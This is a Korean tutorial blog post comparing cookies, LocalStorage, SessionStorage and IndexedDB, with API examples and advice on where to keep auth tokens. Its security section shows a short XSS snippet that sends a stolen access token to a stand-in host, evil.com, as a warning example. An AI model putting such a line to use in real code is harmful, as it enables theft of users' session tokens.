새로고침하면 로그인이 풀리는 사이트와 안 풀리는 사이트의 차이는 뭘까요? 브라우저는 데이터를 어디에, 어떻게 기억하고 있는 걸까요?

왜 브라우저에 데이터를 저장하는가

HTTP는 기본적으로 무상태(Stateless) 프로토콜입니다. 서버는 각 요청을 독립적으로 처리하기 때문에, "이 사용자가 로그인했는지" 같은 정보를 기억하지 못합니다.

브라우저 저장소가 필요한 대표적인 이유 세 가지입니다.

  • ** 상태 유지** — 로그인 상태, 장바구니, 다크 모드 설정 등을 페이지 이동 간에도 유지
  • ** 성능 캐시** — API 응답이나 정적 리소스를 로컬에 캐시해서 네트워크 요청을 줄임
  • ** 오프라인 지원** — PWA(Progressive Web App)에서 네트워크 없이도 앱이 동작하도록 데이터를 미리 저장

이 세 가지 요구를 충족하기 위해 브라우저는 여러 저장소를 제공하는데, 각각 용도와 특성이 다릅니다.


Cookie — 서버와 소통하는 저장소

쿠키는 브라우저 저장소 중 ** 유일하게 HTTP 요청 시 서버로 자동 전송 **되는 저장소입니다. 원래 서버 측 세션 관리를 위해 만들어졌습니다.

기본 사용법

JAVASCRIPT
// 쿠키 설정
document.cookie = "theme=dark; max-age=86400; path=/";

// 쿠키 읽기 — 모든 쿠키가 하나의 문자열로 반환됨
console.log(document.cookie); // "theme=dark; user=john"

// 쿠키 삭제 — max-age를 0으로 설정
document.cookie = "theme=; max-age=0; path=/";

document.cookie의 API가 다소 불편하다는 건 공부하면서 바로 느꼈습니다. 읽을 때 문자열 파싱을 직접 해야 하고, 개별 쿠키를 바로 가져오는 메서드가 없습니다.

주요 속성

JAVASCRIPT
// 보안 속성을 모두 적용한 쿠키 설정
document.cookie = [
  "sessionId=abc123",
  "max-age=3600",       // 1시간 후 만료
  "path=/",             // 모든 경로에서 접근 가능
  "Secure",             // HTTPS에서만 전송
  "SameSite=Strict",    // 같은 사이트 요청에서만 전송
  // HttpOnly는 서버에서만 설정 가능 — JS로는 설정 불가
].join("; ");

각 속성이 하는 역할을 정리하면 이렇습니다.

속성역할
max-age / expires만료 시간 설정. 없으면 세션 쿠키(브라우저 닫으면 삭제)
path쿠키가 전송될 URL 경로 제한
domain쿠키가 전송될 도메인 범위
SecureHTTPS 연결에서만 쿠키 전송
HttpOnlyJavaScript에서 접근 불가 (서버에서만 설정)
SameSiteCSRF 방어 — Strict, Lax, None 중 선택

쿠키의 한계

  • ** 용량 제한 **: 쿠키 하나당 약 4KB, 도메인당 약 20~50개
  • ** 매 요청마다 전송 **: 불필요한 쿠키가 많으면 네트워크 오버헤드 발생
  • ** 문자열만 저장 **: 객체를 저장하려면 JSON 직렬화 필요

LocalStorage — 간단하고 영구적인 저장소

LocalStorage는 document.cookie의 불편한 API를 보완하듯, 직관적인 key-value 저장소를 제공합니다.

기본 사용법

JAVASCRIPT
// 데이터 저장
localStorage.setItem("username", "john");

// 데이터 읽기
const name = localStorage.getItem("username"); // "john"

// 데이터 삭제
localStorage.removeItem("username");

// 전체 삭제
localStorage.clear();

// 객체 저장 — 반드시 JSON 변환 필요
const user = { name: "john", age: 25 };
localStorage.setItem("user", JSON.stringify(user));
const saved = JSON.parse(localStorage.getItem("user"));

특징

  • ** 용량 **: 약 5~10MB (브라우저마다 다름)
  • ** 만료 없음 **: 명시적으로 삭제하지 않으면 영구 보존
  • ** 동기 API**: 메인 스레드에서 실행되므로, 대량 데이터 읽기/쓰기 시 UI가 잠깐 멈출 수 있음
  • ** 같은 출처(origin)의 모든 탭/창에서 공유**

공부하면서 주의해야겠다고 느낀 점은, ** 문자열만 저장 가능 **하다는 것입니다. setItem에 객체를 그냥 넣으면 [object Object]라는 문자열이 저장됩니다.

JAVASCRIPT
// 흔한 실수
localStorage.setItem("user", { name: "john" });
localStorage.getItem("user"); // "[object Object]" — 데이터 손실!

Storage 이벤트

같은 출처의 다른 탭에서 LocalStorage가 변경되면 이벤트를 받을 수 있습니다. 탭 간 간단한 통신에 활용할 수 있는 부분입니다.

JAVASCRIPT
// 다른 탭에서 LocalStorage가 변경되면 호출됨
window.addEventListener("storage", (event) => {
  console.log(`키: ${event.key}`);
  console.log(`이전 값: ${event.oldValue}`);
  console.log(`새 값: ${event.newValue}`);
});

SessionStorage — 탭 단위로 격리되는 저장소

SessionStorage는 LocalStorage와 API가 완전히 동일 합니다. 차이는 딱 하나, 데이터의 수명 범위 입니다.

JAVASCRIPT
// LocalStorage와 동일한 API
sessionStorage.setItem("tempData", "임시 데이터");
sessionStorage.getItem("tempData");
sessionStorage.removeItem("tempData");
sessionStorage.clear();

LocalStorage와의 차이

LocalStorageSessionStorage
수명영구 (직접 삭제 전까지)탭(세션) 종료 시 삭제
탭 간 공유같은 출처면 공유탭마다 독립
새 탭으로 열기데이터 공유됨새 탭은 빈 저장소

"같은 페이지를 두 탭에서 열면 각각 다른 SessionStorage를 갖는다"는 점이 핵심입니다. 멀티스텝 폼(회원가입 단계별 입력) 같은 곳에서 유용합니다. 한 탭에서의 입력이 다른 탭에 영향을 주지 않으니까요.


IndexedDB — 브라우저 안의 데이터베이스

앞의 세 저장소가 단순 key-value 문자열 저장소라면, IndexedDB는 진짜 데이터베이스에 가깝습니다. **비동기 **, ** 트랜잭션 기반 , ** 대용량 저장이 가능합니다.

기본 사용법

IndexedDB의 API는 다소 장황합니다. 처음 보면 복잡하게 느껴지는데, 핵심 흐름은 DB 열기 → 스토어 생성 → 트랜잭션 안에서 CRUD 입니다.

JAVASCRIPT
// 1. 데이터베이스 열기 (이름, 버전)
const request = indexedDB.open("MyDatabase", 1);

// 2. 최초 생성 또는 버전 업그레이드 시 스키마 정의
request.onupgradeneeded = (event) => {
  const db = event.target.result;

  // 객체 저장소(Object Store) 생성 — RDB의 테이블과 비슷
  const store = db.createObjectStore("users", { keyPath: "id" });

  // 인덱스 생성 — 검색 성능 향상
  store.createIndex("nameIndex", "name", { unique: false });
};

// 3. DB 열기 성공
request.onsuccess = (event) => {
  const db = event.target.result;

  // 트랜잭션 시작
  const tx = db.transaction("users", "readwrite");
  const store = tx.objectStore("users");

  // 데이터 추가 — 문자열뿐 아니라 객체, 배열, Blob 등 저장 가능
  store.add({ id: 1, name: "john", age: 25 });
  store.add({ id: 2, name: "jane", age: 30 });

  // 데이터 읽기
  const getRequest = store.get(1);
  getRequest.onsuccess = () => {
    console.log(getRequest.result); // { id: 1, name: "john", age: 25 }
  };

  tx.oncomplete = () => {
    console.log("트랜잭션 완료");
  };
};

request.onerror = (event) => {
  console.error("DB 열기 실패:", event.target.error);
};

특징

  • **비동기 **: 메인 스레드를 차단하지 않음 (콜백/이벤트 기반)
  • ** 대용량 : 브라우저와 디스크 공간에 따라 ** 수백 MB ~ 수 GB
  • ** 트랜잭션 기반 **: 읽기/쓰기 작업의 원자성 보장
  • ** 구조화된 데이터 **: 객체, 배열, Blob, File, ArrayBuffer 등 다양한 타입 직접 저장
  • ** 인덱스 지원 **: 특정 필드로 빠른 검색 가능

실무에서는 래퍼 라이브러리를 사용

네이티브 IndexedDB API가 콜백 기반이라 코드가 길어지기 때문에, 실무에서는 보통 래퍼 라이브러리를 사용합니다.

JAVASCRIPT
// idb 라이브러리 사용 예시 — Promise 기반으로 훨씬 깔끔
import { openDB } from "idb";

async function saveUser(user) {
  const db = await openDB("MyDatabase", 1, {
    upgrade(db) {
      db.createObjectStore("users", { keyPath: "id" });
    },
  });

  // 트랜잭션 + 저장을 한 줄로
  await db.put("users", user);

  // 조회도 간단
  const saved = await db.get("users", user.id);
  console.log(saved);
}

비교 표

네 가지 저장소를 한눈에 비교하면 이렇습니다.

CookieLocalStorageSessionStorageIndexedDB
** 용량**~4KB5~10MB5~10MB수백 MB+
** 만료**설정 가능영구탭 종료 시영구
** 서버 전송**자동 전송XXX
** 동기/비동기**동기동기동기비동기
** 데이터 형식**문자열문자열문자열구조화 데이터
** 탭 간 공유**OOXO
** 접근 방식**document.cookielocalStoragesessionStorageindexedDB
** 주 용도**인증, 서버 설정사용자 설정, 캐시임시 폼 데이터오프라인 캐시, 대용량 데이터

보안 고려사항

브라우저 저장소를 사용할 때 가장 주의할 점은 XSS(Cross-Site Scripting) 공격 입니다.

XSS와 저장소의 관계

XSS 공격이 성공하면 공격자의 스크립트가 페이지에서 실행되고, 이때 JavaScript로 접근 가능한 모든 저장소의 데이터가 탈취 됩니다.

JAVASCRIPT
// XSS 공격 시나리오 — 공격자 스크립트가 실행되면
const token = localStorage.getItem("accessToken");
// 토큰을 공격자 서버로 전송
fetch(`https://evil.com/steal?token=${token}`);
  • LocalStorage, SessionStorage: JavaScript로 자유롭게 접근 가능 → XSS에 취약
  • Cookie (HttpOnly): JavaScript에서 접근 불가 → XSS로부터 보호됨
  • IndexedDB: JavaScript로 접근 가능 → XSS에 취약

저장하면 안 되는 것들

브라우저 저장소의 종류와 무관하게, 다음 데이터는 ** 클라이언트에 저장하면 안 됩니다 **.

  • 비밀번호 (평문)
  • 신용카드 번호
  • 주민등록번호 같은 민감 개인정보
  • 암호화되지 않은 비밀 키

브라우저 저장소는 기본적으로 암호화되지 않습니다. 개발자 도구를 열면 누구나 내용을 볼 수 있다는 점을 항상 기억해야 합니다.


실무 선택 가이드

인증 토큰은 어디에?

이 질문은 정말 자주 나오는 주제인데, 정리하면 이렇습니다.

PLAINTEXT
인증 토큰 저장 위치 결정 트리:

서버에서 쿠키를 설정할 수 있는가?
├── Yes → HttpOnly + Secure + SameSite=Strict 쿠키 ✅ (가장 안전)
└── No (SPA에서 직접 관리해야 하는 경우)
    ├── 토큰 수명이 짧은가? (Access Token)
    │   └── 메모리(변수)에 저장 → 새로고침 시 재발급
    └── Refresh Token이 필요한가?
        └── HttpOnly 쿠키로 서버가 설정 ✅

LocalStorage에 JWT를 저장하는 건 편리하지만 XSS에 취약 합니다. 가능하다면 서버에서 HttpOnly 쿠키로 설정하는 방식을 권장합니다.

사용자 설정(테마, 언어)은?

JAVASCRIPT
// LocalStorage가 적합 — 영구 보존, 서버 전송 불필요
function saveThemePreference(theme) {
  localStorage.setItem("theme", theme);
}

function loadThemePreference() {
  return localStorage.getItem("theme") || "light";
}

// 페이지 로드 시 즉시 적용
document.documentElement.setAttribute("data-theme", loadThemePreference());

서버에 전송할 필요 없고, 탭 간에 공유되어야 하며, 브라우저를 닫아도 유지되어야 하므로 LocalStorage가 딱 맞습니다.

멀티스텝 폼 임시 데이터는?

JAVASCRIPT
// SessionStorage가 적합 — 탭 단위 격리, 탭 종료 시 자동 삭제
function saveFormStep(step, data) {
  const formData = JSON.parse(sessionStorage.getItem("signupForm") || "{}");
  formData[`step${step}`] = data;
  sessionStorage.setItem("signupForm", JSON.stringify(formData));
}

// 다른 탭에서 같은 폼을 열어도 데이터가 섞이지 않음

대용량 캐시(오프라인 데이터)는?

JAVASCRIPT
// IndexedDB가 적합 — 대용량, 비동기, 구조화 데이터
import { openDB } from "idb";

async function cacheApiResponse(endpoint, data) {
  const db = await openDB("AppCache", 1, {
    upgrade(db) {
      const store = db.createObjectStore("responses", { keyPath: "endpoint" });
      store.createIndex("timestamp", "cachedAt");
    },
  });

  await db.put("responses", {
    endpoint,
    data,
    cachedAt: Date.now(),
  });
}

async function getCachedResponse(endpoint, maxAge = 5 * 60 * 1000) {
  const db = await openDB("AppCache", 1);
  const cached = await db.get("responses", endpoint);

  // 캐시가 있고, 만료되지 않았으면 반환
  if (cached && Date.now() - cached.cachedAt < maxAge) {
    return cached.data;
  }
  return null; // 캐시 미스 — 네트워크 요청 필요
}

정리

각 저장소를 한 줄로 요약하면 이렇습니다.

  • Cookie: 서버와 통신이 필요한 인증/세션 관리에 사용. HttpOnly로 보안 강화
  • LocalStorage: 영구적인 클라이언트 설정(테마, 언어). 단순하고 동기적
  • SessionStorage: 탭 단위 임시 데이터. 탭 닫으면 자동 정리
  • IndexedDB: 대용량 구조화 데이터, 오프라인 캐시. 비동기로 성능에 유리

저장소를 고를 때는 "서버에 보내야 하나? → 얼마나 오래 유지해야 하나? → 얼마나 큰 데이터인가?"를 순서대로 따져보면 자연스럽게 답이 나옵니다.

댓글 로딩 중...